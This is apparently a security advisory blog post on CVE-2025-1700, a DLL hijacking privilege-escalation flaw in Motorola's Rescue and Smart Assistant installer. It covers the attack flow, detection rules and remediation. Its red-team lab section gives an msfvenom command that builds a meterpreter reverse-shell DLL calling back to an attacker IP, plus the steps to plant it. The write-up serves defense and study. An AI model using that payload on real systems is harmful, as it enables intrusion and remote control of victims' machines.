CVE-2025-1700

Executive Summary

CVE-2025-1700 is a DLL hijacking vulnerability identified in the Motorola Software Fix (Rescue and Smart Assistant) installer. This flaw allows a local attacker to escalate privileges during the installation process by placing a malicious DLL in a directory that the installer searches before the legitimate system path. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for local privilege escalation scenarios.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a software installer issue specific to Motorola’s Rescue and Smart Assistant tool.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability type (DLL hijacking leading to local privilege escalation), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – user must run the installer
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Base Score: 7.8 (High)

Threat Level: High for local privilege escalation, but low for remote exploitation due to the local attack vector.

Deep Dive & Mechanics

The vulnerability resides in the Motorola Software Fix installer (Rescue and Smart Assistant). During installation, the installer loads DLLs from its working directory or other search paths without verifying the integrity or origin of the DLL. An attacker with local access can place a malicious DLL (e.g., version.dll, dbghelp.dll, or wintrust.dll) in a directory that the installer searches before the system directory (e.g., the installer’s own directory or a user-writable path). When the installer runs, it loads the malicious DLL, executing arbitrary code in the context of the installer process, which typically runs with elevated privileges (SYSTEM or Administrator).

Attack Flow:

1. Attacker gains local access to the target system (e.g., via malware, physical access, or low-privilege user account).
2. Attacker identifies the Motorola Software Fix installer executable and its DLL search order.
3. Attacker places a crafted malicious DLL in a directory that the installer searches first (e.g., the same directory as the installer or a user-writable path).
4. User runs the installer (or it runs automatically).
5. Installer loads the malicious DLL, granting the attacker code execution with elevated privileges.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is the installer’s DLL loading mechanism, which does not use safe DLL search order or digital signature verification. A patched version would likely:

• Use absolute paths for DLL loading.
• Verify digital signatures of loaded DLLs.
• Set the SafeDllSearchMode registry key or use SetDllDirectory to restrict search paths.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Windows 10/11 VM with Motorola Software Fix installer (vulnerable version).
• Attacker VM (e.g., Kali Linux) with Metasploit or custom DLL payload.

Steps:

1. Generate a malicious DLL payload:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

2. Place the DLL in the same directory as the installer (e.g., C:\Users\victim\Downloads\).
3. Rename the DLL to a name that the installer loads (e.g., version.dll).
4. Execute the installer:

   MotorolaSoftwareFix.exe
   

5. The installer loads version.dll, executing the payload and establishing a reverse shell.

Alternative: Use a DLL proxying technique to forward legitimate calls to the original DLL while executing malicious code.

Blue Team (Defense & Detection)

Detection:

• Monitor for DLL load events from untrusted paths (e.g., Sysmon Event ID 7).
• Look for processes loading DLLs from user-writable directories (e.g., C:\Users\*\AppData\Local\Temp\).
• Use AppLocker or Windows Defender Application Control (WDAC) to block unsigned DLLs.

Prevention:

• Apply the principle of least privilege; do not run installers as Administrator unnecessarily.
• Use tools like Process Monitor to identify DLL search order issues.
• Implement safe DLL search mode via Group Policy.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – actual hashes depend on the malicious DLL)
• Process Names: MotorolaSoftwareFix.exe, RescueAndSmartAssistant.exe
• DLL Names: version.dll, dbghelp.dll, wintrust.dll, msimg32.dll (common hijack targets)
• Registry Keys: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode (if modified)
• Network Connections: Outbound connections to attacker IPs (if reverse shell used)
• Event IDs: Sysmon Event ID 7 (DLL loaded), Windows Security Event ID 4688 (process creation)

Detection Engineering

YARA Rule

rule CVE_2025_1700_DLL_Hijack {
    meta:
        description = "Detects potential DLL hijacking in Motorola Software Fix installer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1700"
    strings:
        $s1 = "MotorolaSoftwareFix.exe" nocase
        $s2 = "RescueAndSmartAssistant.exe" nocase
        $s3 = "version.dll" nocase
        $s4 = "dbghelp.dll" nocase
        $s5 = "wintrust.dll" nocase
    condition:
        (uint16(0) == 0x5A4D) and
        (any of ($s1, $s2)) and
        (any of ($s3, $s4, $s5))
}

Sigma Rule

title: CVE-2025-1700 DLL Hijacking via Motorola Installer
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from user-writable directories during Motorola Software Fix installer execution
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1700
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\\MotorolaSoftwareFix.exe'
        ImageLoaded|contains:
            - '\\Users\\'
            - '\\AppData\\Local\\Temp\\'
            - '\\Downloads\\'
    condition: selection
falsepositives:
    - Legitimate DLLs in user directories (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-1700 Potential DLL Hijack Payload Download"; flow:to_server,established; content:"|4d 5a|"; distance:0; within:2; content:"MotorolaSoftwareFix"; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not run the Motorola Software Fix installer until a patch is released.
2. Use application whitelisting (e.g., AppLocker) to block unsigned DLLs.
3. Enable Safe DLL Search Mode via Group Policy:
   • Set HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.
4. Monitor for suspicious DLL loads using Sysmon or EDR tools.

Long-Term Fix:

• Motorola must release a patched installer that uses secure DLL loading practices (e.g., SetDllDirectory("") to remove current directory from search path, or digitally sign all DLLs).

Workaround:

• If the installer must be used, run it from a clean, isolated environment (e.g., a sandbox or VM) and verify all DLLs in the same directory are legitimate.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert